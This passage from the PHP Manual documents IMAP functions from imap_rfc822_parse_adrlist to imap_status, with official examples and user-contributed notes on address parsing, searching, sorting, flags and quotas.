  • « imap_reopen
  • imap_rfc822_parse_headers »
  • PHP Manual
  • IMAP Functions
  • Parses an address string

imap_rfc822_parse_adrlist

(PHP 4, PHP 5)

imap_rfc822_parse_adrlist — Parses an address string

Description

array imap_rfc822_parse_adrlist ( string $address , string $default_host )

Parses the address string as defined in » RFC2822 and for each address.

Parameters

address

A string containing addresses

default_host

The default host name

Return Values

Returns an array of objects. The objects properties are:

  • mailbox - the mailbox name (username)
  • host - the host name
  • personal - the personal name
  • adl - at domain source route

Examples

Example #1 imap_rfc822_parse_adrlist() example

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array  = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
    die("something is wrong\n");
}

foreach ($address_array as $id => $val) {
    echo "# $id\n";
    echo "  mailbox : " . $val->mailbox . "\n";
    echo "  host    : " . $val->host . "\n";
    echo "  personal: " . $val->personal . "\n";
    echo "  adl     : " . $val->adl . "\n";
}
?>

The above example will output:

# 0
  mailbox : doe
  host    : example.com
  personal: Joe Doe
  adl     :
# 1
  mailbox : postmaster
  host    : example.com
  personal:
  adl     :
# 2
  mailbox : root
  host    : example.com
  personal:
  adl     :

See Also

  • imap_rfc822_parse_headers() - Parse mail headers from a string

User Contributed Notes

Ian Eiloart 17-Oct-2005 03:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
        shuf6@example.ac.uk,
        blobby,
        "ian,eiloart"<ian@example.ac.uk>,
        <@example.com:foo@example.ac.uk>,
        foo@#,
        ian@-example.com,
        ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
    var $mailbox = 'iane';
    var $host = 'example.ac.uk';
    var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
    var $mailbox = 'shuf6';
    var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
    var $mailbox = 'blobby';
    var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'example.ac.uk';
    var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = 'example.ac.uk';
    var $adl = '@example.com';
  },
  5 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = '#';
  },
  6 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = '-example.com';
  },
  7 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'one';
  },
  8 =>
  class stdClass {
    var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
    var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske 04-Jan-2005 05:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.


Parse mail headers from a string

  • « imap_rfc822_parse_adrlist
  • imap_rfc822_write_address »
  • PHP Manual
  • IMAP Functions
  • Parse mail headers from a string

imap_rfc822_parse_headers

(PHP 4, PHP 5)

imap_rfc822_parse_headers — Parse mail headers from a string

Description

object imap_rfc822_parse_headers ( string $headers [, string $defaulthost = "UNKNOWN" ] )

Gets an object of various header elements, similar to imap_header().

Parameters

headers

The parsed headers data

defaulthost

The default host name

Return Values

Returns an object similar to the one returned by imap_header(), except for the flags and other properties that come from the IMAP server.

See Also

  • imap_rfc822_parse_adrlist() - Parses an address string

User Contributed Notes

Marco Arment 23-Jul-2010 06:10
This function will cause a PHP Fatal Error if the text you're passing to it overflows a 16 KB buffer internally (SENDBUFLEN in the source).

I haven't looked into it in depth yet, but limiting the input text to less than 16,384 characters still produced this in one error case on our servers, but reducing the boundary to 12,000 fixed it.

Most real-world mail headers are well under 4 KB.
phrank 21-Mar-2009 11:10
This function is marked as internal function by the c-client library and should not be used by php directly.

Please be aware that the result will always contain fields that have not been set in the message. For example reply_to and sender will always be set even if there is no Reply-To and Sender header fields are defined in the message.
Oliver 16-Apr-2006 02:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com> 01-Feb-2005 07:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender         - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

doesn't handle rfc882 fields:
return-path
received
resent-         I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de 14-Sep-2004 05:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de 22-May-2002 01:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);


Returns a properly formatted email address given the mailbox, host, and personal info

  • « imap_rfc822_parse_headers
  • imap_savebody »
  • PHP Manual
  • IMAP Functions
  • Returns a properly formatted email address given the mailbox, host, and personal info

imap_rfc822_write_address

(PHP 4, PHP 5)

imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info

Description

string imap_rfc822_write_address ( string $mailbox , string $host , string $personal )

Returns a properly formatted email address as defined in » RFC2822 given the needed information.

Parameters

mailbox

The mailbox name, see imap_open() for more information

host

The email host part

personal

The name of the account owner

Return Values

Returns a string properly formatted email address as defined in » RFC2822.

Examples

Example #1 imap_rfc822_write_address() example

<?php
echo imap_rfc822_write_address("hartmut", "example.com", "Hartmut Holzgraefe");
?>

The above example will output:

Hartmut Holzgraefe <hartmut@example.com>

User Contributed Notes

There are no user contributed notes for this page.


Save a specific body section to a file

  • « imap_rfc822_write_address
  • imap_scan »
  • PHP Manual
  • IMAP Functions
  • Save a specific body section to a file

imap_savebody

(PHP 5 >= 5.1.3)

imap_savebody — Save a specific body section to a file

Description

bool imap_savebody ( resource $imap_stream , mixed $file , int $msg_number [, string $part_number = "" [, int $options = 0 ]] )

Saves a part or the whole body of the specified message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

file

The path to the saved file as a string, or a valid file descriptor returned by fopen().

msg_number

The message number

part_number

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message

User Contributed Notes

anon 12-Aug-2012 10:59
By using imap_fetchbody() you may run in trouble by using too much memory. Using imap_savebody() may prevent this.

But the content will be encoded, in other words it is useless. Adding a filter can help here.

<?php
$whandle = fopen('./incomming/tmp.tif','w');

stream_filter_append($whandle,
   'convert.base64-decode',STREAM_FILTER_WRITE);

imap_savebody ($mbox, $whandle, $i, $partcounter++);

fclose($whandle);
?>

NOTE: To find the proper filter you need to check the encoding given by the structure of the body.
janus at forty-seven dot info 20-Feb-2009 10:40
It seems that imap_savebody saves attachments with special characters above ascii 127 as quoted printable.
But if you need it in utf8, you may use the imap_qprint function after the attachment is saved:

<?php
$tFile = "/path/to/attachment";
$tFileOutput="";
$tFileHandle = fopen($tFile, "r");

//get the content of the file into a string
while(!feof($tFileHandle))
  $tFileOutput = $tFileOutput . fgets($tFileHandle, 4096);

fclose ($tFileHandle);

$tFileHandle = fopen($tFile, "w");
//write the new 8Bit string to the file
fwrite($tFileHandle, imap_qprint($tFileOutput));
fclose ($tFileHandle);
?>
technocraze at gmail dot com 20-Dec-2007 09:38
I tried to use this function. But it seems it requires php_zip.dll to be load..  i got the php errror like below.

[20-Dec-2007 13:38:17] PHP Warning:  PHP Startup: Unable to load dynamic library './php_zip.dll' - ./php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0
[20-Dec-2007 13:38:17] PHP Fatal error:  Call to undefined function imap_savebody() in /opt/oss/share/apache2/htdocs/blogtest/wp-inst/batch/pop3_mail.php on line 153
stupergenius at gmail dot com 01-Aug-2007 03:40
This function will save ALL information from the email if the part number is left out. Pretty handy for archiving.


Alias of imap_listscan

  • « imap_savebody
  • imap_scanmailbox »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_listscan

imap_scan

(PHP 4, PHP 5)

imap_scan — Alias of imap_listscan()

Description

This function is an alias of: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


Alias of imap_listscan

  • « imap_scan
  • imap_search »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_listscan

imap_scanmailbox

(PHP 4, PHP 5)

imap_scanmailbox — Alias of imap_listscan()

Description

This function is an alias of: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


This function returns an array of messages matching the given search criteria

  • « imap_scanmailbox
  • imap_set_quota »
  • PHP Manual
  • IMAP Functions
  • This function returns an array of messages matching the given search criteria

imap_search

(PHP 4, PHP 5)

imap_search — This function returns an array of messages matching the given search criteria

Description

array imap_search ( resource $imap_stream , string $criteria [, int $options = SE_FREE [, string $charset = NIL ]] )

This function performs a search on the mailbox currently opened in the given IMAP stream.

For example, to match all unanswered messages sent by Mom, you'd use: "UNANSWERED FROM mom". Searches appear to be case insensitive. This list of criteria is from a reading of the UW c-client source code and may be incomplete or inaccurate (see also » RFC2060, section 6.4.4).

Parameters

imap_stream

An IMAP stream returned by imap_open().

criteria

A string, delimited by spaces, in which the following keywords are allowed. Any multi-word arguments (e.g. FROM "joey smith") must be quoted. Results will match all criteria entries.

  • ALL - return all messages matching the rest of the criteria
  • ANSWERED - match messages with the \\ANSWERED flag set
  • BCC "string" - match messages with "string" in the Bcc: field
  • BEFORE "date" - match messages with Date: before "date"
  • BODY "string" - match messages with "string" in the body of the message
  • CC "string" - match messages with "string" in the Cc: field
  • DELETED - match deleted messages
  • FLAGGED - match messages with the \\FLAGGED (sometimes referred to as Important or Urgent) flag set
  • FROM "string" - match messages with "string" in the From: field
  • KEYWORD "string" - match messages with "string" as a keyword
  • NEW - match new messages
  • OLD - match old messages
  • ON "date" - match messages with Date: matching "date"
  • RECENT - match messages with the \\RECENT flag set
  • SEEN - match messages that have been read (the \\SEEN flag is set)
  • SINCE "date" - match messages with Date: after "date"
  • SUBJECT "string" - match messages with "string" in the Subject:
  • TEXT "string" - match messages with text "string"
  • TO "string" - match messages with "string" in the To:
  • UNANSWERED - match messages that have not been answered
  • UNDELETED - match messages that are not deleted
  • UNFLAGGED - match messages that are not flagged
  • UNKEYWORD "string" - match messages that do not have the keyword "string"
  • UNSEEN - match messages which have not been read yet

options

Valid values for options are SE_UID, which causes the returned array to contain UIDs instead of messages sequence numbers.

charset

Return Values

Returns an array of message numbers or UIDs.

Return FALSE if it does not understand the search criteria or no messages have been found.

Examples

Example #1 imap_search() example

<?php
$conn   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);

$some   = imap_search($conn, 'SUBJECT "HOWTO be Awesome" SINCE "8 August 2008"', SE_UID);
$msgnos = imap_search($conn, 'ALL');
$uids   = imap_search($conn, 'ALL', SE_UID);

print_r($some);
print_r($msgnos);
print_r($uids);
?>

The above example will output something similar to:

Array
(
    [0] => 4
    [1] => 6
    [2] => 11
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 11
    [5] => 12
)

See Also

  • imap_listscan() - Returns the list of mailboxes that matches the given text

User Contributed Notes

Anonymous 06-Sep-2014 03:45
about my previous note:

<<the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message. >>
------------------------------------------------------------------------

Now works ;)

Just to pass not a date string into criteria parameter but a timestamp returned by mktime function, where you can put your date string.

Solution for any date/time criterion is a unix timestamp.
andrea dot job at libero dot it 05-Sep-2014 11:25
the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message.
anonymous at anonymous dot ru 03-May-2014 02:38
the function "imap_search" not work for some mails , maybe that because header syntax or some bug .

thanks a lot
mail at nikha dot org 15-Feb-2014 07:18
Hi,
be aware, that imap_search() does NOT (as you may exspect) return an empty array, if nothing was found!
As the manual says, it returns FALSE.

Do not test the result like "count($array)" as I did.
This gives you 1 for an empty result. Took me an hour to found out why :-(  RTFM
trimoreau dot yonn at gmail dot com 04-Jun-2013 04:53
It's not possible to find strings containing double quotes using this function.

For example, if you got a message named : Hello, this is "Bob"
You can try :
     imap_search($inbox, 'SUBJECT "Hello, this is "Bob""')
Or
     imap_search($inbox, "SUBJECT 'Hello, this is \"Bob\"'")

But both are false, because you did not escape double quotes in the first case, and you can NOT use simple quotes in the imap_search criteria in the second case.

The real problem is that you cannot use simple quotes to surround your criteria in the 2nd argument of imap_search, after SUBJECT.
james at medbirdie dot com 10-Sep-2012 04:31
To set your own CHARSET, which is useful if you are dealing with Chinese Japanese and Korean queries.

<?php imap_search($inbox,'BODY "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Anonymous 23-Jul-2012 04:34
The date format for e.g. SINCE is, according to rfc3501:

date            = date-text / DQUOTE date-text DQUOTE

date-day        = 1*2DIGIT
                    ; Day of month

date-day-fixed  = (SP DIGIT) / 2DIGIT
                    ; Fixed-format version of date-day

date-month      = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" /
                  "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec"

date-text       = date-day "-" date-month "-" date-year

So a valid date is e.g. "22-Jul-2012" with or without the double quotes.
Brett 15-May-2012 04:45
I haven't found any documentation of the allowed date formats, but (for example) "14 May 2012" works.

// Find UIDs of messages within the past week
$date = date ( "d M Y", strToTime ( "-7 days" ) );
$uids = imap_search ( $mbox, "SINCE \"$date\"", SE_UID );
joseph dot cardwell at jbcwebservices dot com 27-Mar-2012 02:07
imap_search() always returns false when op_silent flag is set in the connection parameters.
admin at rancid-tea dot com 20-Sep-2007 05:57
This search looks for messages matching ALL criteria, not ANY criteria. For example the search

imap_search($mailbox,'FROM "user" TO "user"')

Will return message that have "user" in both the from and to headers, but not messages with "user" in either the from or to header.
oliver at samera dot com dot py 26-Oct-2002 05:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py 27-Jan-2002 06:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";


Sets a quota for a given mailbox

  • « imap_search
  • imap_setacl »
  • PHP Manual
  • IMAP Functions
  • Sets a quota for a given mailbox

imap_set_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_set_quota — Sets a quota for a given mailbox

Description

bool imap_set_quota ( resource $imap_stream , string $quota_root , int $quota_limit )

Sets an upper limit quota on a per mailbox basis.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

The mailbox to have a quota set. This should follow the IMAP standard format for a mailbox: user.name.

quota_limit

The maximum size (in KB) for the quota_root

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_set_quota() example

<?php
$mbox = imap_open("{imap.example.org:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
    echo "Error in setting quota\n";
    return;
}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The given imap_stream must be opened as the mail administrator, other wise this function will fail.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

lars at kneschke dot de 19-Mar-2003 03:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
    print "Error in deleting quota\n";
    return;
}

imap_close($mbox);


Sets the ACL for a given mailbox

  • « imap_set_quota
  • imap_setflag_full »
  • PHP Manual
  • IMAP Functions
  • Sets the ACL for a given mailbox

imap_setacl

(PHP 4 >= 4.0.7, PHP 5)

imap_setacl — Sets the ACL for a given mailbox

Description

bool imap_setacl ( resource $imap_stream , string $mailbox , string $id , string $rights )

Sets the ACL for a giving mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

id

The user to give the rights to.

rights

The rights to give to the user. Passing an empty string will delete acl.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

This function is currently only available to users of the c-client2000 or greater library.

See Also

  • imap_getacl() - Gets the ACL for a given mailbox

User Contributed Notes

panayotis at yellownetroad dot com 07-Oct-2002 01:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).


Sets flags on messages

  • « imap_setacl
  • imap_sort »
  • PHP Manual
  • IMAP Functions
  • Sets flags on messages

imap_setflag_full

(PHP 4, PHP 5)

imap_setflag_full — Sets flags on messages

Description

bool imap_setflag_full ( resource $imap_stream , string $sequence , string $flag [, int $options = NIL ] )

Causes a store to add the specified flag to the flags set for the messages in the specified sequence.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can set are \Seen, \Answered, \Flagged, \Deleted, and \Draft as defined by » RFC2060.

options

A bit mask that may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_setflag_full() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

See Also

  • imap_clearflag_full() - Clears flags on messages

User Contributed Notes

ming0 at mailinator dot com 08-Sep-2010 07:43
To correct phpidiot at avanca-a dot de

<?php

imap_setflag_full($mbox, '1', 'label1');

?>
daniel dot blackburn at galorwebservices dot com 20-Aug-2010 11:13
Where possible I would avoid using POP3 accounts. My host allowed me to upgrade to IMAP and it is so much easier. I think the only way to accurately create any form of mail client with POP3 is to download the messages into an SQL database which is a big task to start with, considering the IMAP standards have the functionality we need built in.
I experimented with flag setting in POP3 and it seems they do not stick at all, and it is almost impossible to retrieve the number of unread messages (ie. the Seen / Unseen thing does not work)
Converted to IMAP and it's working - the majority of the functions in this section seem to be IMAP focussed and WILL NOT generally work with POP3
phpidiot at avanca-a dot de 25-Oct-2009 01:37
"Keywords" aka "tags" aka "PERMANENTFLAGS" can be added if your server supports IMAP 4rev1 by using $label{label-nr}:

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\$label1");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>
calmdown at abendstille dot at 16-Jan-2003 10:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk 25-Apr-2002 05:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com 31-Jan-2002 03:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no 14-Jan-2002 03:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com 21-Dec-2000 02:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl 13-Oct-2000 09:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au 14-Jan-2000 07:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
    $id = substr($headers[$x],5,4);
    imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.


Gets and sort messages

  • « imap_setflag_full
  • imap_status »
  • PHP Manual
  • IMAP Functions
  • Gets and sort messages

imap_sort

(PHP 4, PHP 5)

imap_sort — Gets and sort messages

Description

array imap_sort ( resource $imap_stream , int $criteria , int $reverse [, int $options = 0 [, string $search_criteria = NULL [, string $charset = NIL ]]] )

Gets and sorts message numbers by the given parameters.

Parameters

imap_stream

An IMAP stream returned by imap_open().

criteria

Criteria can be one (and only one) of the following:

  • SORTDATE - message Date
  • SORTARRIVAL - arrival date
  • SORTFROM - mailbox in first From address
  • SORTSUBJECT - message subject
  • SORTTO - mailbox in first To address
  • SORTCC - mailbox in first cc address
  • SORTSIZE - size of message in octets

reverse

Set this to 1 for reverse sorting

options

The options are a bitmask of one or more of the following:

  • SE_UID - Return UIDs instead of sequence numbers
  • SE_NOPREFETCH - Don't prefetch searched messages

search_criteria

charset

Return Values

Returns an array of message numbers sorted by the given parameters.

User Contributed Notes

antoine dot spam-nono at maxg dot info 09-Feb-2006 04:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com 08-May-2005 06:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=imap_utf8($val->subject);
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
    echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com 07-May-2005 12:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com 22-Mar-2005 11:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
    return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com 28-Apr-2004 06:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br 21-Nov-2002 10:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk 18-Feb-2002 10:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
    $searchhash = array();
    $returnresults = array();
    $count = 0;
    for ($i = 0; $i < sizeof($searchresults); $i++) {
        $searchhash[$searchresults[$i]] = true;
    }
    for ($i = 0; $i < sizeof($sortresults); $i++) {
        if (@$searchhash[$sortresults[$i]]) {
            $returnresults[$count] = $sortresults[$i];
            $count++;
        }
    }
    return $returnresults;
}

example of using function:
    $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
    $searchresults = imap_search($stream, $search, SE_UID);
    $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.


Returns status information on a mailbox

  • « imap_sort
  • imap_subscribe »
  • PHP Manual
  • IMAP Functions
  • Returns status information on a mailbox

imap_status

(PHP 4, PHP 5)

imap_status — Returns status information on a mailbox

Description

object imap_status ( resource $imap_stream , string $mailbox , int $options )

Gets status information about the given mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

options

Valid flags are:

  • SA_MESSAGES - set $status->messages to the number of messages in the mailbox
  • SA_RECENT - set $status->recent to the number of recent messages in the mailbox
  • SA_UNSEEN - set $status->unseen to the number of unseen (new) messages in the mailbox
  • SA_UIDNEXT - set $status->uidnext to the next uid to be used in the mailbox
  • SA_UIDVALIDITY - set $status->uidvalidity to a constant that changes when uids for the mailbox may no longer be valid
  • SA_ALL - set all of the above

Return Values

This function returns an object containing status information. The object has the following properties: messages, recent, unseen, uidnext, and uidvalidity.

flags is also set, which contains a bitmask which can be checked against any of the above constants.

Examples

Example #1 imap_status() example

<?php
$mbox = imap_open("{imap.example.com}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$status = imap_status($mbox, "{imap.example.org}INBOX", SA_ALL);
if ($status) {
  echo "Messages:   " . $status->messages    . "<br />\n";
  echo "Recent:     " . $status->recent      . "<br />\n";
  echo "Unseen:     " . $status->unseen      . "<br />\n";
  echo "UIDnext:    " . $status->uidnext     . "<br />\n";
